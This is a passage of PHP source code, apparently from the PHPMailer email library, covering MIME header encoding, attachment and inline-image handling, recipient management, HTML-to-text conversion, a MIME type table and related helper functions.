  2773. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2774. // Use a custom function which correctly encodes and wraps long
  2775. // multibyte strings without breaking lines within a character
  2776. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2777. } else {
  2778. $encoded = base64_encode($str);
  2779. $maxlen -= $maxlen % 4;
  2780. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2781. }
  2782. } else {
  2783. $encoding = 'Q';
  2784. $encoded = $this->encodeQ($str, $position);
  2785. $encoded = $this->wrapText($encoded, $maxlen, true);
  2786. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2787. }
  2788.  
  2789. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2790. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2791.  
  2792. return $encoded;
  2793. }
  2794.  
  2795. /**
  2796. * Check if a string contains multi-byte characters.
  2797. * @access public
  2798. * @param string $str multi-byte text to wrap encode
  2799. * @return boolean
  2800. */
  2801. public function hasMultiBytes($str)
  2802. {
  2803. if (function_exists('mb_strlen')) {
  2804. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2805. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2806. return false;
  2807. }
  2808. }
  2809.  
  2810. /**
  2811. * Does a string contain any 8-bit chars (in any charset)?
  2812. * @param string $text
  2813. * @return boolean
  2814. */
  2815. public function has8bitChars($text)
  2816. {
  2817. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2818. }
  2819.  
  2820. /**
  2821. * Encode and wrap long multibyte strings for mail headers
  2822. * without breaking lines within a character.
  2823. * Adapted from a function by paravoid
  2824. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2825. * @access public
  2826. * @param string $str multi-byte text to wrap encode
  2827. * @param string $linebreak string to use as linefeed/end-of-line
  2828. * @return string
  2829. */
  2830. public function base64EncodeWrapMB($str, $linebreak = null)
  2831. {
  2832. $start = '=?' . $this->CharSet . '?B?';
  2833. $end = '?=';
  2834. $encoded = '';
  2835. if ($linebreak === null) {
  2836. $linebreak = $this->LE;
  2837. }
  2838.  
  2839. $mb_length = mb_strlen($str, $this->CharSet);
  2840. // Each line must have length <= 75, including $start and $end
  2841. $length = 75 - strlen($start) - strlen($end);
  2842. // Average multi-byte ratio
  2843. $ratio = $mb_length / strlen($str);
  2844. // Base64 has a 4:3 ratio
  2845. $avgLength = floor($length * $ratio * .75);
  2846.  
  2847. for ($i = 0; $i < $mb_length; $i += $offset) {
  2848. $lookBack = 0;
  2849. do {
  2850. $offset = $avgLength - $lookBack;
  2851. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2852. $chunk = base64_encode($chunk);
  2853. $lookBack++;
  2854. } while (strlen($chunk) > $length);
  2855. $encoded .= $chunk . $linebreak;
  2856. }
  2857.  
  2858. // Chomp the last linefeed
  2859. $encoded = substr($encoded, 0, -strlen($linebreak));
  2860. return $encoded;
  2861. }
  2862.  
  2863. /**
  2864. * Encode a string in quoted-printable format.
  2865. * According to RFC2045 section 6.7.
  2866. * @access public
  2867. * @param string $string The text to encode
  2868. * @param integer $line_max Number of chars allowed on a line before wrapping
  2869. * @return string
  2870. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2871. */
  2872. public function encodeQP($string, $line_max = 76)
  2873. {
  2874. // Use native function if it's available (>= PHP5.3)
  2875. if (function_exists('quoted_printable_encode')) {
  2876. return quoted_printable_encode($string);
  2877. }
  2878. // Fall back to a pure PHP implementation
  2879. $string = str_replace(
  2880. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2881. array(' ', "\r\n=2E", "\r\n", '='),
  2882. rawurlencode($string)
  2883. );
  2884. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2885. }
  2886.  
  2887. /**
  2888. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2889. * @see PHPMailer::encodeQP()
  2890. * @access public
  2891. * @param string $string
  2892. * @param integer $line_max
  2893. * @param boolean $space_conv
  2894. * @return string
  2895. * @deprecated Use encodeQP instead.
  2896. */
  2897. public function encodeQPphp(
  2898. $string,
  2899. $line_max = 76,
  2900. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2901. ) {
  2902. return $this->encodeQP($string, $line_max);
  2903. }
  2904.  
  2905. /**
  2906. * Encode a string using Q encoding.
  2907. * @link http://tools.ietf.org/html/rfc2047
  2908. * @param string $str the text to encode
  2909. * @param string $position Where the text is going to be used, see the RFC for what that means
  2910. * @access public
  2911. * @return string
  2912. */
  2913. public function encodeQ($str, $position = 'text')
  2914. {
  2915. // There should not be any EOL in the string
  2916. $pattern = '';
  2917. $encoded = str_replace(array("\r", "\n"), '', $str);
  2918. switch (strtolower($position)) {
  2919. case 'phrase':
  2920. // RFC 2047 section 5.3
  2921. $pattern = '^A-Za-z0-9!*+\/ -';
  2922. break;
  2923. /** @noinspection PhpMissingBreakStatementInspection */
  2924. case 'comment':
  2925. // RFC 2047 section 5.2
  2926. $pattern = '\(\)"';
  2927. // intentional fall-through
  2928. // for this reason we build the $pattern without including delimiters and []
  2929. case 'text':
  2930. default:
  2931. // RFC 2047 section 5.1
  2932. // Replace every high ascii, control, =, ? and _ characters
  2933. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2934. break;
  2935. }
  2936. $matches = array();
  2937. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2938. // If the string contains an '=', make sure it's the first thing we replace
  2939. // so as to avoid double-encoding
  2940. $eqkey = array_search('=', $matches[0]);
  2941. if (false !== $eqkey) {
  2942. unset($matches[0][$eqkey]);
  2943. array_unshift($matches[0], '=');
  2944. }
  2945. foreach (array_unique($matches[0]) as $char) {
  2946. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2947. }
  2948. }
  2949. // Replace every spaces to _ (more readable than =20)
  2950. return str_replace(' ', '_', $encoded);
  2951. }
  2952.  
  2953. /**
  2954. * Add a string or binary attachment (non-filesystem).
  2955. * This method can be used to attach ascii or binary data,
  2956. * such as a BLOB record from a database.
  2957. * @param string $string String attachment data.
  2958. * @param string $filename Name of the attachment.
  2959. * @param string $encoding File encoding (see $Encoding).
  2960. * @param string $type File extension (MIME) type.
  2961. * @param string $disposition Disposition to use
  2962. * @return void
  2963. */
  2964. public function addStringAttachment(
  2965. $string,
  2966. $filename,
  2967. $encoding = 'base64',
  2968. $type = '',
  2969. $disposition = 'attachment'
  2970. ) {
  2971. // If a MIME type is not specified, try to work it out from the file name
  2972. if ($type == '') {
  2973. $type = self::filenameToType($filename);
  2974. }
  2975. // Append to $attachment array
  2976. $this->attachment[] = array(
  2977. 0 => $string,
  2978. 1 => $filename,
  2979. 2 => basename($filename),
  2980. 3 => $encoding,
  2981. 4 => $type,
  2982. 5 => true, // isStringAttachment
  2983. 6 => $disposition,
  2984. 7 => 0
  2985. );
  2986. }
  2987.  
  2988. /**
  2989. * Add an embedded (inline) attachment from a file.
  2990. * This can include images, sounds, and just about any other document type.
  2991. * These differ from 'regular' attachments in that they are intended to be
  2992. * displayed inline with the message, not just attached for download.
  2993. * This is used in HTML messages that embed the images
  2994. * the HTML refers to using the $cid value.
  2995. * @param string $path Path to the attachment.
  2996. * @param string $cid Content ID of the attachment; Use this to reference
  2997. * the content when using an embedded image in HTML.
  2998. * @param string $name Overrides the attachment name.
  2999. * @param string $encoding File encoding (see $Encoding).
  3000. * @param string $type File MIME type.
  3001. * @param string $disposition Disposition to use
  3002. * @return boolean True on successfully adding an attachment
  3003. */
  3004. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3005. {
  3006. if (!@is_file($path)) {
  3007. $this->setError($this->lang('file_access') . $path);
  3008. return false;
  3009. }
  3010.  
  3011. // If a MIME type is not specified, try to work it out from the file name
  3012. if ($type == '') {
  3013. $type = self::filenameToType($path);
  3014. }
  3015.  
  3016. $filename = basename($path);
  3017. if ($name == '') {
  3018. $name = $filename;
  3019. }
  3020.  
  3021. // Append to $attachment array
  3022. $this->attachment[] = array(
  3023. 0 => $path,
  3024. 1 => $filename,
  3025. 2 => $name,
  3026. 3 => $encoding,
  3027. 4 => $type,
  3028. 5 => false, // isStringAttachment
  3029. 6 => $disposition,
  3030. 7 => $cid
  3031. );
  3032. return true;
  3033. }
  3034.  
  3035. /**
  3036. * Add an embedded stringified attachment.
  3037. * This can include images, sounds, and just about any other document type.
  3038. * Be sure to set the $type to an image type for images:
  3039. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3040. * @param string $string The attachment binary data.
  3041. * @param string $cid Content ID of the attachment; Use this to reference
  3042. * the content when using an embedded image in HTML.
  3043. * @param string $name
  3044. * @param string $encoding File encoding (see $Encoding).
  3045. * @param string $type MIME type.
  3046. * @param string $disposition Disposition to use
  3047. * @return boolean True on successfully adding an attachment
  3048. */
  3049. public function addStringEmbeddedImage(
  3050. $string,
  3051. $cid,
  3052. $name = '',
  3053. $encoding = 'base64',
  3054. $type = '',
  3055. $disposition = 'inline'
  3056. ) {
  3057. // If a MIME type is not specified, try to work it out from the name
  3058. if ($type == '' and !empty($name)) {
  3059. $type = self::filenameToType($name);
  3060. }
  3061.  
  3062. // Append to $attachment array
  3063. $this->attachment[] = array(
  3064. 0 => $string,
  3065. 1 => $name,
  3066. 2 => $name,
  3067. 3 => $encoding,
  3068. 4 => $type,
  3069. 5 => true, // isStringAttachment
  3070. 6 => $disposition,
  3071. 7 => $cid
  3072. );
  3073. return true;
  3074. }
  3075.  
  3076. /**
  3077. * Check if an inline attachment is present.
  3078. * @access public
  3079. * @return boolean
  3080. */
  3081. public function inlineImageExists()
  3082. {
  3083. foreach ($this->attachment as $attachment) {
  3084. if ($attachment[6] == 'inline') {
  3085. return true;
  3086. }
  3087. }
  3088. return false;
  3089. }
  3090.  
  3091. /**
  3092. * Check if an attachment (non-inline) is present.
  3093. * @return boolean
  3094. */
  3095. public function attachmentExists()
  3096. {
  3097. foreach ($this->attachment as $attachment) {
  3098. if ($attachment[6] == 'attachment') {
  3099. return true;
  3100. }
  3101. }
  3102. return false;
  3103. }
  3104.  
  3105. /**
  3106. * Check if this message has an alternative body set.
  3107. * @return boolean
  3108. */
  3109. public function alternativeExists()
  3110. {
  3111. return !empty($this->AltBody);
  3112. }
  3113.  
  3114. /**
  3115. * Clear queued addresses of given kind.
  3116. * @access protected
  3117. * @param string $kind 'to', 'cc', or 'bcc'
  3118. * @return void
  3119. */
  3120. public function clearQueuedAddresses($kind)
  3121. {
  3122. $RecipientsQueue = $this->RecipientsQueue;
  3123. foreach ($RecipientsQueue as $address => $params) {
  3124. if ($params[0] == $kind) {
  3125. unset($this->RecipientsQueue[$address]);
  3126. }
  3127. }
  3128. }
  3129.  
  3130. /**
  3131. * Clear all To recipients.
  3132. * @return void
  3133. */
  3134. public function clearAddresses()
  3135. {
  3136. foreach ($this->to as $to) {
  3137. unset($this->all_recipients[strtolower($to[0])]);
  3138. }
  3139. $this->to = array();
  3140. $this->clearQueuedAddresses('to');
  3141. }
  3142.  
  3143. /**
  3144. * Clear all CC recipients.
  3145. * @return void
  3146. */
  3147. public function clearCCs()
  3148. {
  3149. foreach ($this->cc as $cc) {
  3150. unset($this->all_recipients[strtolower($cc[0])]);
  3151. }
  3152. $this->cc = array();
  3153. $this->clearQueuedAddresses('cc');
  3154. }
  3155.  
  3156. /**
  3157. * Clear all BCC recipients.
  3158. * @return void
  3159. */
  3160. public function clearBCCs()
  3161. {
  3162. foreach ($this->bcc as $bcc) {
  3163. unset($this->all_recipients[strtolower($bcc[0])]);
  3164. }
  3165. $this->bcc = array();
  3166. $this->clearQueuedAddresses('bcc');
  3167. }
  3168.  
  3169. /**
  3170. * Clear all ReplyTo recipients.
  3171. * @return void
  3172. */
  3173. public function clearReplyTos()
  3174. {
  3175. $this->ReplyTo = array();
  3176. $this->ReplyToQueue = array();
  3177. }
  3178.  
  3179. /**
  3180. * Clear all recipient types.
  3181. * @return void
  3182. */
  3183. public function clearAllRecipients()
  3184. {
  3185. $this->to = array();
  3186. $this->cc = array();
  3187. $this->bcc = array();
  3188. $this->all_recipients = array();
  3189. $this->RecipientsQueue = array();
  3190. }
  3191.  
  3192. /**
  3193. * Clear all filesystem, string, and binary attachments.
  3194. * @return void
  3195. */
  3196. public function clearAttachments()
  3197. {
  3198. $this->attachment = array();
  3199. }
  3200.  
  3201. /**
  3202. * Clear all custom headers.
  3203. * @return void
  3204. */
  3205. public function clearCustomHeaders()
  3206. {
  3207. $this->CustomHeader = array();
  3208. }
  3209.  
  3210. /**
  3211. * Add an error message to the error container.
  3212. * @access protected
  3213. * @param string $msg
  3214. * @return void
  3215. */
  3216. protected function setError($msg)
  3217. {
  3218. $this->error_count++;
  3219. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3220. $lasterror = $this->smtp->getError();
  3221. if (!empty($lasterror['error'])) {
  3222. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3223. if (!empty($lasterror['detail'])) {
  3224. $msg .= ' Detail: '. $lasterror['detail'];
  3225. }
  3226. if (!empty($lasterror['smtp_code'])) {
  3227. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3228. }
  3229. if (!empty($lasterror['smtp_code_ex'])) {
  3230. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3231. }
  3232. }
  3233. }
  3234. $this->ErrorInfo = $msg;
  3235. }
  3236.  
  3237. /**
  3238. * Return an RFC 822 formatted date.
  3239. * @access public
  3240. * @return string
  3241. * @static
  3242. */
  3243. public static function rfcDate()
  3244. {
  3245. // Set the time zone to whatever the default is to avoid 500 errors
  3246. // Will default to UTC if it's not set properly in php.ini
  3247. date_default_timezone_set(@date_default_timezone_get());
  3248. return date('D, j M Y H:i:s O');
  3249. }
  3250.  
  3251. /**
  3252. * Get the server hostname.
  3253. * Returns 'localhost.localdomain' if unknown.
  3254. * @access protected
  3255. * @return string
  3256. */
  3257. protected function serverHostname()
  3258. {
  3259. $result = 'localhost.localdomain';
  3260. if (!empty($this->Hostname)) {
  3261. $result = $this->Hostname;
  3262. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3263. $result = $_SERVER['SERVER_NAME'];
  3264. } elseif (function_exists('gethostname') && gethostname() !== false) {
  3265. $result = gethostname();
  3266. } elseif (php_uname('n') !== false) {
  3267. $result = php_uname('n');
  3268. }
  3269. return $result;
  3270. }
  3271.  
  3272. /**
  3273. * Get an error message in the current language.
  3274. * @access protected
  3275. * @param string $key
  3276. * @return string
  3277. */
  3278. protected function lang($key)
  3279. {
  3280. if (count($this->language) < 1) {
  3281. $this->setLanguage('en'); // set the default language
  3282. }
  3283.  
  3284. if (array_key_exists($key, $this->language)) {
  3285. if ($key == 'smtp_connect_failed') {
  3286. //Include a link to troubleshooting docs on SMTP connection failure
  3287. //this is by far the biggest cause of support questions
  3288. //but it's usually not PHPMailer's fault.
  3289. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3290. }
  3291. return $this->language[$key];
  3292. } else {
  3293. //Return the key as a fallback
  3294. return $key;
  3295. }
  3296. }
  3297.  
  3298. /**
  3299. * Check if an error occurred.
  3300. * @access public
  3301. * @return boolean True if an error did occur.
  3302. */
  3303. public function isError()
  3304. {
  3305. return ($this->error_count > 0);
  3306. }
  3307.  
  3308. /**
  3309. * Ensure consistent line endings in a string.
  3310. * Changes every end of line from CRLF, CR or LF to $this->LE.
  3311. * @access public
  3312. * @param string $str String to fixEOL
  3313. * @return string
  3314. */
  3315. public function fixEOL($str)
  3316. {
  3317. // Normalise to \n
  3318. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3319. // Now convert LE as needed
  3320. if ($this->LE !== "\n") {
  3321. $nstr = str_replace("\n", $this->LE, $nstr);
  3322. }
  3323. return $nstr;
  3324. }
  3325.  
  3326. /**
  3327. * Add a custom header.
  3328. * $name value can be overloaded to contain
  3329. * both header name and value (name:value)
  3330. * @access public
  3331. * @param string $name Custom header name
  3332. * @param string $value Header value
  3333. * @return void
  3334. */
  3335. public function addCustomHeader($name, $value = null)
  3336. {
  3337. if ($value === null) {
  3338. // Value passed in as name:value
  3339. $this->CustomHeader[] = explode(':', $name, 2);
  3340. } else {
  3341. $this->CustomHeader[] = array($name, $value);
  3342. }
  3343. }
  3344.  
  3345. /**
  3346. * Returns all custom headers.
  3347. * @return array
  3348. */
  3349. public function getCustomHeaders()
  3350. {
  3351. return $this->CustomHeader;
  3352. }
  3353.  
  3354. /**
  3355. * Create a message from an HTML string.
  3356. * Automatically makes modifications for inline images and backgrounds
  3357. * and creates a plain-text version by converting the HTML.
  3358. * Overwrites any existing values in $this->Body and $this->AltBody
  3359. * @access public
  3360. * @param string $message HTML message string
  3361. * @param string $basedir baseline directory for path
  3362. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3363. * or your own custom converter @see PHPMailer::html2text()
  3364. * @return string $message
  3365. */
  3366. public function msgHTML($message, $basedir = '', $advanced = false)
  3367. {
  3368. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3369. if (array_key_exists(2, $images)) {
  3370. foreach ($images[2] as $imgindex => $url) {
  3371. // Convert data URIs into embedded images
  3372. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3373. $data = substr($url, strpos($url, ','));
  3374. if ($match[2]) {
  3375. $data = base64_decode($data);
  3376. } else {
  3377. $data = rawurldecode($data);
  3378. }
  3379. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3380. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3381. $message = str_replace(
  3382. $images[0][$imgindex],
  3383. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3384. $message
  3385. );
  3386. }
  3387. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3388. // Do not change urls for absolute images (thanks to corvuscorax)
  3389. // Do not change urls that are already inline images
  3390. $filename = basename($url);
  3391. $directory = dirname($url);
  3392. if ($directory == '.') {
  3393. $directory = '';
  3394. }
  3395. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3396. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3397. $basedir .= '/';
  3398. }
  3399. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3400. $directory .= '/';
  3401. }
  3402. if ($this->addEmbeddedImage(
  3403. $basedir . $directory . $filename,
  3404. $cid,
  3405. $filename,
  3406. 'base64',
  3407. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3408. )
  3409. ) {
  3410. $message = preg_replace(
  3411. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3412. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3413. $message
  3414. );
  3415. }
  3416. }
  3417. }
  3418. }
  3419. $this->isHTML(true);
  3420. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3421. $this->Body = $this->normalizeBreaks($message);
  3422. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3423. if (empty($this->AltBody)) {
  3424. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3425. self::CRLF . self::CRLF;
  3426. }
  3427. return $this->Body;
  3428. }
  3429.  
  3430. /**
  3431. * Convert an HTML string into plain text.
  3432. * This is used by msgHTML().
  3433. * Note - older versions of this function used a bundled advanced converter
  3434. * which was been removed for license reasons in #232
  3435. * Example usage:
  3436. * <code>
  3437. * // Use default conversion
  3438. * $plain = $mail->html2text($html);
  3439. * // Use your own custom converter
  3440. * $plain = $mail->html2text($html, function($html) {
  3441. * $converter = new MyHtml2text($html);
  3442. * return $converter->get_text();
  3443. * });
  3444. * </code>
  3445. * @param string $html The HTML text to convert
  3446. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3447. * or provide your own callable for custom conversion.
  3448. * @return string
  3449. */
  3450. public function html2text($html, $advanced = false)
  3451. {
  3452. if (is_callable($advanced)) {
  3453. return call_user_func($advanced, $html);
  3454. }
  3455. return html_entity_decode(
  3456. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3457. ENT_QUOTES,
  3458. $this->CharSet
  3459. );
  3460. }
  3461.  
  3462. /**
  3463. * Get the MIME type for a file extension.
  3464. * @param string $ext File extension
  3465. * @access public
  3466. * @return string MIME type of file.
  3467. * @static
  3468. */
  3469. public static function _mime_types($ext = '')
  3470. {
  3471. $mimes = array(
  3472. 'xl' => 'application/excel',
  3473. 'js' => 'application/javascript',
  3474. 'hqx' => 'application/mac-binhex40',
  3475. 'cpt' => 'application/mac-compactpro',
  3476. 'bin' => 'application/macbinary',
  3477. 'doc' => 'application/msword',
  3478. 'word' => 'application/msword',
  3479. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3480. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3481. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3482. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3483. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3484. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3485. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3486. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3487. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3488. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3489. 'class' => 'application/octet-stream',
  3490. 'dll' => 'application/octet-stream',
  3491. 'dms' => 'application/octet-stream',
  3492. 'exe' => 'application/octet-stream',
  3493. 'lha' => 'application/octet-stream',
  3494. 'lzh' => 'application/octet-stream',
  3495. 'psd' => 'application/octet-stream',
  3496. 'sea' => 'application/octet-stream',
  3497. 'so' => 'application/octet-stream',
  3498. 'oda' => 'application/oda',
  3499. 'pdf' => 'application/pdf',
  3500. 'ai' => 'application/postscript',
  3501. 'eps' => 'application/postscript',
  3502. 'ps' => 'application/postscript',
  3503. 'smi' => 'application/smil',
  3504. 'smil' => 'application/smil',
  3505. 'mif' => 'application/vnd.mif',
  3506. 'xls' => 'application/vnd.ms-excel',
  3507. 'ppt' => 'application/vnd.ms-powerpoint',
  3508. 'wbxml' => 'application/vnd.wap.wbxml',
  3509. 'wmlc' => 'application/vnd.wap.wmlc',
  3510. 'dcr' => 'application/x-director',
  3511. 'dir' => 'application/x-director',
  3512. 'dxr' => 'application/x-director',
  3513. 'dvi' => 'application/x-dvi',
  3514. 'gtar' => 'application/x-gtar',
  3515. 'php3' => 'application/x-httpd-php',
  3516. 'php4' => 'application/x-httpd-php',
  3517. 'php' => 'application/x-httpd-php',
  3518. 'phtml' => 'application/x-httpd-php',
  3519. 'phps' => 'application/x-httpd-php-source',
  3520. 'swf' => 'application/x-shockwave-flash',
  3521. 'sit' => 'application/x-stuffit',
  3522. 'tar' => 'application/x-tar',
  3523. 'tgz' => 'application/x-tar',
  3524. 'xht' => 'application/xhtml+xml',
  3525. 'xhtml' => 'application/xhtml+xml',
  3526. 'zip' => 'application/zip',
  3527. 'mid' => 'audio/midi',
  3528. 'midi' => 'audio/midi',
  3529. 'mp2' => 'audio/mpeg',
  3530. 'mp3' => 'audio/mpeg',
  3531. 'mpga' => 'audio/mpeg',
  3532. 'aif' => 'audio/x-aiff',
  3533. 'aifc' => 'audio/x-aiff',
  3534. 'aiff' => 'audio/x-aiff',
  3535. 'ram' => 'audio/x-pn-realaudio',
  3536. 'rm' => 'audio/x-pn-realaudio',
  3537. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3538. 'ra' => 'audio/x-realaudio',
  3539. 'wav' => 'audio/x-wav',
  3540. 'bmp' => 'image/bmp',
  3541. 'gif' => 'image/gif',
  3542. 'jpeg' => 'image/jpeg',
  3543. 'jpe' => 'image/jpeg',
  3544. 'jpg' => 'image/jpeg',
  3545. 'png' => 'image/png',
  3546. 'tiff' => 'image/tiff',
  3547. 'tif' => 'image/tiff',
  3548. 'eml' => 'message/rfc822',
  3549. 'css' => 'text/css',
  3550. 'html' => 'text/html',
  3551. 'htm' => 'text/html',
  3552. 'shtml' => 'text/html',
  3553. 'log' => 'text/plain',
  3554. 'text' => 'text/plain',
  3555. 'txt' => 'text/plain',
  3556. 'rtx' => 'text/richtext',
  3557. 'rtf' => 'text/rtf',
  3558. 'vcf' => 'text/vcard',
  3559. 'vcard' => 'text/vcard',
  3560. 'xml' => 'text/xml',
  3561. 'xsl' => 'text/xml',
  3562. 'mpeg' => 'video/mpeg',
  3563. 'mpe' => 'video/mpeg',
  3564. 'mpg' => 'video/mpeg',
  3565. 'mov' => 'video/quicktime',
  3566. 'qt' => 'video/quicktime',
  3567. 'rv' => 'video/vnd.rn-realvideo',
  3568. 'avi' => 'video/x-msvideo',
  3569. 'movie' => 'video/x-sgi-movie'
  3570. );
  3571. if (array_key_exists(strtolower($ext), $mimes)) {
  3572. return $mimes[strtolower($ext)];
  3573. }
  3574. return 'application/octet-stream';
  3575. }
  3576.  
  3577. /**
  3578. * Map a file name to a MIME type.
  3579. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3580. * @param string $filename A file name or full path, does not need to exist as a file
  3581. * @return string
  3582. * @static
  3583. */
  3584. public static function filenameToType($filename)
  3585. {
  3586. // In case the path is a URL, strip any query string before getting extension
  3587. $qpos = strpos($filename, '?');
  3588. if (false !== $qpos) {
  3589. $filename = substr($filename, 0, $qpos);
  3590. }
  3591. $pathinfo = self::mb_pathinfo($filename);
  3592. return self::_mime_types($pathinfo['extension']);
  3593. }
  3594.  
  3595. /**
  3596. * Multi-byte-safe pathinfo replacement.
  3597. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3598. * Works similarly to the one in PHP >= 5.2.0
  3599. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3600. * @param string $path A filename or path, does not need to exist as a file
  3601. * @param integer|string $options Either a PATHINFO_* constant,
  3602. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3603. * @return string|array
  3604. * @static
  3605. */
  3606. public static function mb_pathinfo($path, $options = null)
  3607. {
  3608. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3609. $pathinfo = array();
  3610. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3611. if (array_key_exists(1, $pathinfo)) {
  3612. $ret['dirname'] = $pathinfo[1];
  3613. }
  3614. if (array_key_exists(2, $pathinfo)) {
  3615. $ret['basename'] = $pathinfo[2];
  3616. }
  3617. if (array_key_exists(5, $pathinfo)) {
  3618. $ret['extension'] = $pathinfo[5];
  3619. }
  3620. if (array_key_exists(3, $pathinfo)) {
  3621. $ret['filename'] = $pathinfo[3];
  3622. }
  3623. }
  3624. switch ($options) {
  3625. case PATHINFO_DIRNAME:
  3626. case 'dirname':
  3627. return $ret['dirname'];
  3628. case PATHINFO_BASENAME:
  3629. case 'basename':
  3630. return $ret['basename'];
  3631. case PATHINFO_EXTENSION:
  3632. case 'extension':
  3633. return $ret['extension'];
  3634. case PATHINFO_FILENAME:
  3635. case 'filename':
  3636. return $ret['filename'];
  3637. default:
  3638. return $ret;
  3639. }
  3640. }
  3641.  
  3642. /**
  3643. * Set or reset instance properties.
  3644. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3645. * harder to debug than setting properties directly.
  3646. * Usage Example:
  3647. * `$mail->set('SMTPSecure', 'tls');`
  3648. * is the same as:
  3649. * `$mail->SMTPSecure = 'tls';`
  3650. * @access public
  3651. * @param string $name The property name to set
  3652. * @param mixed $value The value to set the property to
  3653. * @return boolean
  3654. * @TODO Should this not be using the __set() magic function?
  3655. */
  3656. public function set($name, $value = '')
  3657. {
  3658. if (property_exists($this, $name)) {
  3659. $this->$name = $value;
  3660. return true;
  3661. } else {
  3662. $this->setError($this->lang('variable_set') . $name);
  3663. return false;
  3664. }
  3665. }
  3666.  
  3667. /**
  3668. * Strip newlines to prevent header injection.
  3669. * @access public
  3670. * @param string $str
  3671. * @return string
  3672. */
  3673. public function secureHeader($str)
  3674. {
  3675. return trim(str_replace(array("\r", "\n"), '', $str));
  3676. }
  3677.  
  3678. /**
  3679. * Normalize line breaks in a string.
  3680. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3681. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3682. * @param string $text
  3683. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3684. * @return string
  3685. * @access public
  3686. * @static
  3687. */
  3688. public static function normalizeBreaks($text, $breaktype = "\r\n")
  3689. {
  3690. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3691. }
  3692.  
  3693. /**
  3694. * Set the public and private key files and password for S/MIME signing.
  3695. * @access public
  3696. * @param string $cert_filename
  3697. * @param string $key_filename
  3698. * @param string $key_pass Password for private key
  3699. * @param string $extracerts_filename Optional path to chain certificate
  3700. */
  3701. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3702. {
  3703. $this->sign_cert_file = $cert_filename;
  3704. $this->sign_key_file = $key_filename;
  3705. $this->sign_key_pass = $key_pass;
